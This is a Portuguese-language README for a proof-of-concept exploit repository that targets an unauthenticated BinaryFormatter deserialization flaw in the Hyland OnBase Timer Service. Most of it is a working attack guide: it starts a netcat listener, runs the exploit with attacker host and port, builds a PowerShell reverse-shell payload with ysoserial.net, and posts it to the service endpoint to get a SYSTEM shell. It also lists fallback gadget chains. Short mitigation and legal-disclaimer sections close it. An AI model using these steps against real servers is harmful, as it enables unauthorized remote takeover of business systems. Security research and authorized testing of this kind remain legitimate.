📡 Hyland OnBase Timer Service RCE Não Autenticado

Mohammed Idrees Banyamer

Pesquisador de Segurança

Jordânia 🇯🇴

---

🧨 Visão Geral

Este repositório contém um exploit de Prova‑de‑Conceito para a vulnerabilidade de execução remota de código não autenticada no Hyland OnBase Timer Service via desserialização insegura de .NET Remoting BinaryFormatter.

A vulnerabilidade permite que um atacante não autenticado envie um payload BinaryFormatter malicioso para o endpoint do Timer Service e execute código arbitrário como NT AUTHORITY\SYSTEM.

• Produto: Hyland OnBase Workflow / Workview Timer Service
• Porta: 8900/TCP
• Autenticação: Não necessária
• Impacto: Execução Remota de Código
• Privilégios: SYSTEM
• CVE: CVE‑2026‑26221
• CVSS: 9.8 (Crítico)

---

⚙️ Detalhes Técnicos

O Timer Service expõe um endpoint .NET Remoting:

http://TARGET:8900/TimerServiceAPI.rem

O serviço aceita objetos BinaryFormatter não autenticados. Ao fornecer uma cadeia de gadgets maliciosa (ysoserial.net), a execução arbitrária de comandos ocorre durante a desserialização.

---

📦 Requisitos

• Python 3
• requests
• ysoserial.net
• Listener netcat
• Ambiente de geração de payload Windows (Windows / Mono / Wine)

Instale a dependência Python:

pip install requests

Baixe o ysoserial.net:

git clone https://github.com/pwntester/ysoserial.net

---

🚀 Uso

1️⃣ Iniciar Listener

nc -lvnp 4444

---

2️⃣ Executar Exploit

python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444

---

3️⃣ Gerar Payload

O script imprime um comando ysoserial. Execute-o em outro terminal (Windows / Mono):

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin

---

4️⃣ Enviar Payload

Pressione ENTER no terminal do exploit após a geração do payload.

Se vulnerável → a reverse shell conecta.

---

🧪 Exemplo

python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001

---

🔧 Opções

Opção	Descrição
target	IP ou hostname do alvo
--port	Porta do Timer Service (padrão 8900)
--endpoint	TimerServiceAPI.rem / TimerServiceEvents.rem
--lhost	IP do atacante
--lport	Porta do listener
--gadget	Cadeia de gadgets ysoserial

---

🧯 Notas

• O exploit é cego

• Sucesso = callback de reverse shell

• O serviço executa como SYSTEM

• Tente gadget alternativo se bloqueado:

  • TextFormattingRunProperties
  • ObjectDataProvider

---

🛡️ Mitigação

• Aplique os patches do advisory de segurança OB2025‑03 da Hyland
• Desative a exposição do .NET Remoting
• Restrinja o acesso à porta 8900
• Monitore o uso do BinaryFormatter

---

📊 Fluxo de Ataque do PoC

sequenceDiagram
    participant A as Atacante
    participant Y as ysoserial.net
    participant T as Alvo OnBase Timer Service
    participant S as Shell SYSTEM

    A->>A: Iniciar listener netcat
    A->>Y: Gerar payload BinaryFormatter
    Y-->>A: rev_shell.bin
    A->>T: HTTP POST /TimerServiceAPI.rem
    T->>T: BinaryFormatter.Deserialize()
    T->>S: Executar cadeia de gadgets
    S-->>A: Conexão reverse shell

---

⚠️ Aviso Legal

Este exploit é fornecido para:

• Pesquisa de segurança
• Testes de penetração autorizados
• Validação defensiva

O uso não autorizado contra sistemas que você não possui ou não tem permissão para testar é ilegal.

---